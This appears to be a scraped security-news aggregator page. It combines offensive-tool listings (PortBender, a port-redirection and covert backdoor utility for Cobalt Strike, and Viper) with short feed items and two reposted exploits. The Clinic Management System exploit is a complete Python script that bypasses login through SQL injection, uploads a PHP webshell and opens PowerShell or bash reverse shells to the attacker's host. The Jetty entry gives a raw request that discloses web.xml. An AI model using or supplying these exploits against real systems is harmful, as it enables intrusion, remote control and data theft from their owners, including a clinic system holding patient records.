KitPloit - PenTest Tools!
PortBender - TCP Port Redirection Utility

https://blogger.googleusercontent.com/img/a/AVvXsEgsLbXft5RnhzfABWPcELLQCI2dNJONpLPBUpabztI6mGBqar4zwOwdycko0byOditx6zCHWq2Nn46-_OnCeyA6Oj_2FFli3pIkLS7N3HUgKN2Y84PoD84-U35YDZNeGy-SkGhSYN6kKdkxFjYpOkUPY15U4Q9c5_lJVKCxSpv2B2Ow33IeVC3YDvJgrQ=w640-h388 PortBender is a TCP port redirection utility that allows a red team operator to redirect inbound traffic destined for one TCP port (e.g., 445/TCP) to another TCP port (e.g., 8445/TCP). PortBender includes an aggressor script that operators can leverage to integrate the tool with Cobalt Strike. However, because the tool is implemented as a reflective DLL, it can integrate with any C2 framework supporting loading modules through a "ReflectiveLoader" interface [1]. The tool also allows operators to simulate a backdoor/persistence mechanism leveraged within the "PortServ.sys" capability used by the Duqu 2.0 threat actor. DesignPortBender leverages the WinDivert library to intercept network traffic using the Windows Filtering Platform (WFP). The design of PortBender is heavily influenced by the DivertTCPConn utility which also leverages the WinDivert library [1]. UsagePortBender has two modes of operation. The first is "redirector mode," and the second is "backdoor mode." In "redirector mode," any connection to a targeted destination port (e.g., 445/TCP) is redirected to an alternative port (e.g., 8445/TCP). In "backdoor mode," we only redirect traffic if an attacker sends a specially formatted TCP packet to a target port (e.g., 443/TCP). PortBender then adds that client IP address to a list of backdoor clients and redirects all traffic to that target port to an alternative port (e.g., 3389/TCP). An operator can leverage this mechanism to emulate the persistence technique used by the Duqu 2.0 threat actor when compromising Kaspersky.

To execute PortBender we must first import the "PortBender.cna" script into Cobalt Strike and upload the WinDivert32.sys or WinDivert64.sys binary included in "PortBender.zip" to the target host depending on the operating system architecture. The help menu for PortBender with the example usage is shown below: beacon> help PortBender
Redirect Usage: PortBender redirect FakeDstPort RedirectedPort
Backdoor Usage: PortBender backdoor FakeDstPort RedirectedPort Password
Examples:
PortBender redirect 445 8445
PortBender backdoor 443 3389 praetorian.antihacker Example UsageFor example, we may wish to execute PortBender in redirector mode to perform an SMB relay attack from a compromised Windows system. To facilitate this, we can instruct PortBender to redirect all traffic to 445/TCP to an alternative port 8445/TCP running an attacker SMB service. In this example, we run the command "PortBender redirect 445 8445" to accomplish this. The expected output is below: https://blogger.googleusercontent.com/img/a/AVvXsEgsLbXft5RnhzfABWPcELLQCI2dNJONpLPBUpabztI6mGBqar4zwOwdycko0byOditx6zCHWq2Nn46-_OnCeyA6Oj_2FFli3pIkLS7N3HUgKN2Y84PoD84-U35YDZNeGy-SkGhSYN6kKdkxFjYpOkUPY15U4Q9c5_lJVKCxSpv2B2Ow33IeVC3YDvJgrQ=w640-h388 In this example, we want to deploy the covert persistence mechanism on a compromised Internet-facing IIS webserver. Here we run the "PortBender backdoor 443 3389 praetorian.antihacker" to instruct the backdoor service to redirect any connections to 443/TCP to 3389/TCP on the compromised host from any IP address that provides the specified "praetorian.antihacker" keyword. The expected output is shown below: https://blogger.googleusercontent.com/img/a/AVvXsEjf2QV8NEhLB03jdYSkzqqbv3PVlXHHowuX_7CzgO9c7LCIp0Pu3F28kWS9vvzKMrIu5wmbWFN2FWe8HI7svE8lz85RmCELtzfacPkPHhWXL96WOn333rhEyxD_igONWbCg879tkQ12YxgSPvZGvmhuVkNJ_lNUUumTe1Xu7WUJzsXDh-jtx1veXLFoww=w640-h362 Acknowledgements* Arno0x0x for his work on DivertTCPConn [1]
* Stephen Fewer for his wor[...]

k on Reflective DLL Injection [2]
* Basil00 for his work on WinDivert [3]
* Francisco Dominguez for his research into performing SMB relaying on Windows [4] References[1] https://github.com/Arno0x/DivertTCPconn
[2] https://github.com/stephenfewer/ReflectiveDLLInjection
[3] https://github.com/basil00/Divert
[4] https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445 Download PortBender

Kali Linux Tutorials
Viper : Intranet Pentesting Tool With Webui

* Viper is a graphical intranet penetration tool, which modularizes and weaponizes the tactics and technologies commonly used in the process of Intranet penetration
* Viper integrates basic functions such as bypass anti-virus software, intranet tunnel, file management, command line and so on
* Viper has integrated 80+ modules, covering Resource Development / Initial Access / Execution / Persistence / Privilege Escalation / Defense Evasion / Credential Access / Discovery / Lateral Movement / Collection and other categories
* Viper’s goal is to help red team engineers improve attack efficiency, simplify operation and reduce technical threshold
* Viper supports running native msfconsole in browser and multi – person collaboration
https://blogger.googleusercontent.com/img/a/AVvXsEiSfl0lG-11BP0Xj7ReCulDO_qTGdK2quU7fERcy7BrjkBO5gFXpUBl5oPf9SoMPQHTRZkUeBUFP9b_4mA17quyzKhuxRatTBcusHAIAxVmGSr8wefcxXqkD5HO9IpGaUkCBErzWPUuivnFOnWMOfNmc1jz6e8qIlV4-p-g8sjT5CMDJJowMj0zoYA3=s2048 https://blogger.googleusercontent.com/img/a/AVvXsEjL0kv4UOa1vmMuzq8pTVajBnIh45lJcCoAq94YrBDNAAOpwyk0kd3-QUvnneDZ79Y0WKA3cZnZ1vE8Jfc0KysAoreCaA-QFH0O2aNE7UocIZPLGy2lQizmdkZngEwpqi450Rr3T8cJkNEAjCzI9JrXeDb4-ILYlSTAu8ggReAdOgepW9fGmLCSQNCO=s2048 https://blogger.googleusercontent.com/img/a/AVvXsEjTKCvadsPxpIygX-y1BLy_pCGjuIJWuDNCrzwfOwnbGHV3mH5YaJ_hik_LKkZuH3cR38GoGygfAGHKz-tgqAWFjPLcx-I1ahW7K5He_CyJgZy8eHDKQFRz1pCvZF3mEBjB7zygGWBhTwmEcYHDNtI0Crde1gVqLFp9G1voxW3XD63f_Xd_tUlYlDAM=s2256 https://blogger.googleusercontent.com/img/a/AVvXsEijQ7vD_t6presgz9CMoglhvXcuIN9bEb_IM4tBUdMdaufgubaRi4TGzMLALODy9VjTiu6vaIqoWk9URiyfSowJCBZmx2taAOLAm_VAiRX2-Xd4mJtygbltiyaIjTXf81FgyLVUt-ZTTiPhnv202bsXU9dgiPmuK44Ykbdd29GgySO-k4tczvsfmf6r=s2048 https://blogger.googleusercontent.com/img/a/AVvXsEi580GbiW83lQ0oa_i6TcDu1dHcRD8F5qRG73bArZC4p59pEJXsik4XDRnC-Hgc-ZtQbyVwfFKmqo-vY9KOEcPYM-8oPtmrg-wf8CCfku4Xe2beCKVzkxyH_KdeJJFwBS8Utd7AQ5mUC9fl4kAGJmQP1-JPNjMQXWfabBA-865KgB-Mn-C1CmLQEtfa=s2256 https://blogger.googleusercontent.com/img/a/AVvXsEjIW3cVR51EwlgELEQGvXSyR_siMxo18LX74dOz3SFCbqUDEQNu_qr21IuEzdzZIEH9Zx_o6Zn67J7gnNJ5CjSv-oB7JFGNFP4EtzHFbwiMww-s2pzEWfbuSQ4bTg-6X18pL1pCJ0GRXxdPHLTBAUUcAWZ9uoJXQtkPyXhpGtBe11K91HgkQTP-rQvZ=s2048

Download

hacking: security in practice
Null.bin sent to random contacts on WhatsApp. I didn't do it. Is it a malware?

I can't locate Null.bin file on whatsapp. Yet it was sent to 3 people on my WhatsApp.

Is it a RAT type malware?

submitted by /u/Good-Bottle7238
[link] [comments]

Hacking on Medium
HackTheBox — Horizontall Writeup

https://cdn-images-1.medium.com/max/600/0*Dc8Brb_Y3CEdXd4_.png
So this is my write-up on one of the HackTheBox machines called Seal. Let’s go!

Continue reading on Medium »

Hacking on Medium
Hashing — Cryptography

https://cdn-images-1.medium.com/max/1026/1*LvCnivdO1y1YO3gXzePgeA.png
So before we dive in to Hashing, Hash functions are quite different from encryption. There is no key and it’s meant to be impossible or…

Continue reading on Medium »

Hacking on Medium
Protocolos que favorecen ataques de DDos

https://cdn-images-1.medium.com/max/1394/0*Wx6oO9K3oo_0DQnS
PUBLICADO EN 22 OCTUBRE, 2021POR EHACKING

Continue reading on Medium »

Exploit Collector
Clinic Management System 1.0 Code Execution / SQL Injection

https://3.bp.blogspot.com/-YTa6qox_ltk/WWlvNeWMUbI/AAAAAAAAIMc/0l9a_Kr-MFozVC5jeSwhLNgVZ9cZuXXlQCLcBGAs/s1600/h22.png Clinic Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for a shell upload.

MD5 | 89d48af5619424e600f5f3f549e39af5Download # Exploit Title: Clinic Management System 1.0 - SQL injection to Remote Code Execution
# Date:21/10/2021
# Exploit Author: Pablo Santiago
# Vendor Homepage: https://www.sourcecodester.com/php/14243/open-source-clinic-management-system-php-full-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Nikhil_B/clinic-full-source-code-with-database_0.zip
# Version: 1.0
# Tested on: Windows 7 and Ubuntu 21.10
# References: https://medium.com/@Pablo0xSantiago/clinic-management-system-1-0-sql-injection-bypass-to-remote-code-execution-804bceac037e

# Vulnerability: Through SQL injection to bypass the login form it is
possible to upload a malicious file and after use that malicious file to
execute code in the remote system.
# Proof of Concept:

import requests
import sys
import time
session = requests.Session()
#http_proxy = "http://127.0.0.1:8080"
#https_proxy = "https://127.0.0.1:8080"

#proxyDict = {"http" : http_proxy,
# "https" : https_proxy}

def windows(HPW,host,shell_name):
payload =
"""powershell+-nop+-c+"$client+%3d+New-Object+System.Net.Sockets.TCPClient("""+HPW+""")%3b$stream+%3d+$client.GetStream()%3b[byte[]]$bytes+%3d+0..65535|%25{0}%3bwhile(($i+%3d+$stream.Read($bytes,+0,+$bytes.Length))+-ne+0){%3b$data+%3d+(New-Object+-TypeName+System.Text.ASCIIEncoding).GetString($bytes,0,+$i)%3b$sendback+%3d+(iex+$data+2>%261+|+Out-String+)%3b$sendback2+%3d+$sendback+%2b+'PS+'+%2b+(pwd).Path+%2b+'>+'%3b$sendbyte+%3d+([text.encoding]%3a%3aASCII).GetBytes($sendback2)%3b$stream.Write($sendbyte,0,$sendbyte.Length)%3b$stream.Flush()}%3b$client.Close()"""""
host2 = host+'/'+'uploadImage/Logo/' + shell_name + '.php?cmd='+payload
#print(payload)
try:
request_rce = requests.get(host2,timeout=8)
except requests.exceptions.ReadTimeout:
pass
def linux(HPL,host,shell_name):
payload = 'bash+-c+"bash+-i+>%26+/dev/tcp/'+HPL+'+0>%261"'
host2 = host+'/'+'/uploadImage/Logo/' + shell_name + '.php?cmd='+payload
#print(payload)
try:
request_rce = requests.get(host2,timeout=8)
except requests.exceptions.ReadTimeout:
pass

def main():

host = sys.argv[1]
shell_name = sys.argv[2]
url = host + '/login.php'
values = {'user': "admin",
'email': "' OR 1 -- -",
'password': '',
'btn_login': ""
}

r = session.post(url, data=values)
cookie = session.cookies.get_dict()['PHPSESSID']

data = { 'btn_web':''}
headers= {'Cookie': 'PHPSESSID='+cookie}
request = session.post(host+ '/manage_website.php', data=data,
headers=headers,files={"website_image":(shell_name+'.php',"<?=`$_get[cmd]`?")})
print("")
print('[*] Your Simple Webshell was uploaded to ' + host +
'/uploadImage/Logo/' + shell_name + '.php' )
print("")
LHOST = input('[+] Enter your LHOST: ')
LPORT = input('[+] Enter your LPORT: ')
print("")
HPW= "'"+LHOST+"'"+','+LPORT
HPL= ""+LHOST+""+'/'+LPORT

print('[+] Option 1: Windows')
print('[+] Option 2: Linux')

option = input('[+] Choose OS: ')

if option == "1":

windows(HPW,host,shell_name)
exit()

elif option == "2":
linux(HPL,host,shell_name)
exit()

else:
print("Please choose Windows or Linux")

main()

#Usage: python3 host shell_name
#Example: python3 http://localhost/clinic shell Source:packetstormsecurity.com

Exploit Collector
Jetty 9.4.37.v20210219 Information Disclosure

https://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png
Jetty version 9.4.37.v20210219 suffers from an information disclosure vulnerability.

MD5 | ff583cecb4b3cb1a0a4e1562056d0981

Download
# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure
# Date: 2021-10-21
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.eclipse.org/jetty/
# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/
# Version: 9.4.37.v20210219 and 9.4.38.v20210224
# Tested on: Kali Linux
# CVE : CVE-2021-28164

POC #1 - web.xml

GET /%2e/WEB-INF/web.xml HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


Source:packetstormsecurity.com